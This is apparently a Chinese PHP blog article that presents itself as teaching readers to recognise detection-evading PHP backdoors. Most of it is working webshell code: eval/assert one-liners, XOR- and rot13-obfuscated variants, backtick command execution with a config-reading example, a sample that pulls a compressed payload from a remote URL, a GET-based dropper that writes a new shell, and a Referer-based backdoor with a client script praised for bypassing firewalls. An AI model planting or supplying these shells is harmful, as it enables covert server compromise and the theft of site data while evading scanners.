教你识别简单的免查杀PHP后门


Posted in PHP onSeptember 13, 2015

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

<?php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

无特征隐藏PHP一句话:

<?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
 

<?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

<?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

PHP 相关文章推荐
使用Apache的rewrite技术
Jun 22 PHP
计算2000年01月01日起到指定日的天数
Oct 09 PHP
PHP Ajax实现页面无刷新发表评论
Jan 02 PHP
一个PHP的ZIP压缩类分享
May 04 PHP
Codeigniter注册登录代码示例
Jun 12 PHP
PHP实现JS中escape与unescape的方法
Jul 11 PHP
thinkphp自定义权限管理之名称判断方法
Apr 01 PHP
php生成网页桌面快捷方式
May 05 PHP
php7函数,声明,返回值等新特性介绍
May 25 PHP
Laravel框架实现修改登录和注册接口数据返回格式的方法
Aug 17 PHP
PHP内置函数生成随机数实例
Jan 18 PHP
php的无刷新操作实现方法分析
Feb 28 PHP
php文件扩展名判断及获取文件扩展名的N种方法
Sep 12 #PHP
php上传功能集后缀名判断和随机命名(强力推荐)
Sep 10 #PHP
ubuntu下配置nginx+php+mysql详解
Sep 10 #PHP
ThinkPHP函数详解之M方法和R方法
Sep 10 #PHP
基于JQuery+PHP编写砸金蛋中奖程序
Sep 08 #PHP
四个常见html网页乱码问题及解决办法
Sep 08 #PHP
php图片水印添加、压缩、剪切的封装类实现
Apr 18 #PHP
You might like
Dedecms常用函数解析
2008/02/01 PHP
最常用的8款PHP调试工具
2014/07/06 PHP
redis查看连接数及php模拟并发创建redis连接的方法
2016/12/15 PHP
解决laravel-admin 自己新建页面里 js 需要刷新一次的问题
2019/10/03 PHP
jQuery实现跨域iframe接口方法调用
2015/03/14 Javascript
Three.js学习之Lamber材质和Phong材质
2016/08/04 Javascript
Vue2.0 从零开始_环境搭建操作步骤
2017/06/14 Javascript
移动端Ionic App 资讯上下循环滚动的实现代码(跑马灯效果)
2017/08/29 Javascript
vue 路由嵌套高亮问题的解决方法
2018/05/17 Javascript
vue实现动态显示与隐藏底部导航的方法分析
2019/02/11 Javascript
JavaScript学习教程之cookie与webstorage
2019/06/23 Javascript
Element Breadcrumb 面包屑的使用方法
2020/07/26 Javascript
vue-video-player实现实时视频播放方式(监控设备-rtmp流)
2020/08/10 Javascript
[02:53]DOTA2英雄昆卡基础教程
2013/11/25 DOTA
[01:17:12]职来职往完美电竞专场
2014/09/18 DOTA
Python中的闭包实例详解
2014/08/29 Python
简单谈谈Python流程控制语句
2016/12/04 Python
python实现数独游戏 java简单实现数独游戏
2018/03/30 Python
Python实现针对给定单链表删除指定节点的方法
2018/04/12 Python
python实现人人自动回复、抢沙发功能
2018/06/08 Python
华为校园招聘上机笔试题 扑克牌大小(python)
2020/04/22 Python
TensorFlow索引与切片的实现方法
2019/11/20 Python
Python使用QQ邮箱发送邮件报错smtplib.SMTPAuthenticationError
2019/12/20 Python
django商品分类及商品数据建模实例详解
2020/01/03 Python
基于TensorFlow常量、序列以及随机值生成实例
2020/01/04 Python
python logging.basicConfig不生效的原因及解决
2020/02/20 Python
Python如何绘制日历图和热力图
2020/08/07 Python
python 实现超级玛丽游戏
2020/11/25 Python
python中scipy.stats产生随机数实例讲解
2021/02/19 Python
CSS3制作日历实现代码
2012/01/21 HTML / CSS
《晚上的太阳》教学反思
2014/04/23 职场文书
2014年大学生党员评议表自我评价
2014/09/20 职场文书
党支部群众路线整改措施思想汇报
2014/10/10 职场文书
小升初自荐信怎么写
2015/03/26 职场文书
抖音动画片,皮皮虾,《治愈系》动画在用这首REMIX作为背景音乐,Anak ,The last world with you完整版
2022/03/16 杂记
实战Python爬虫爬取酷我音乐
2022/04/11 Python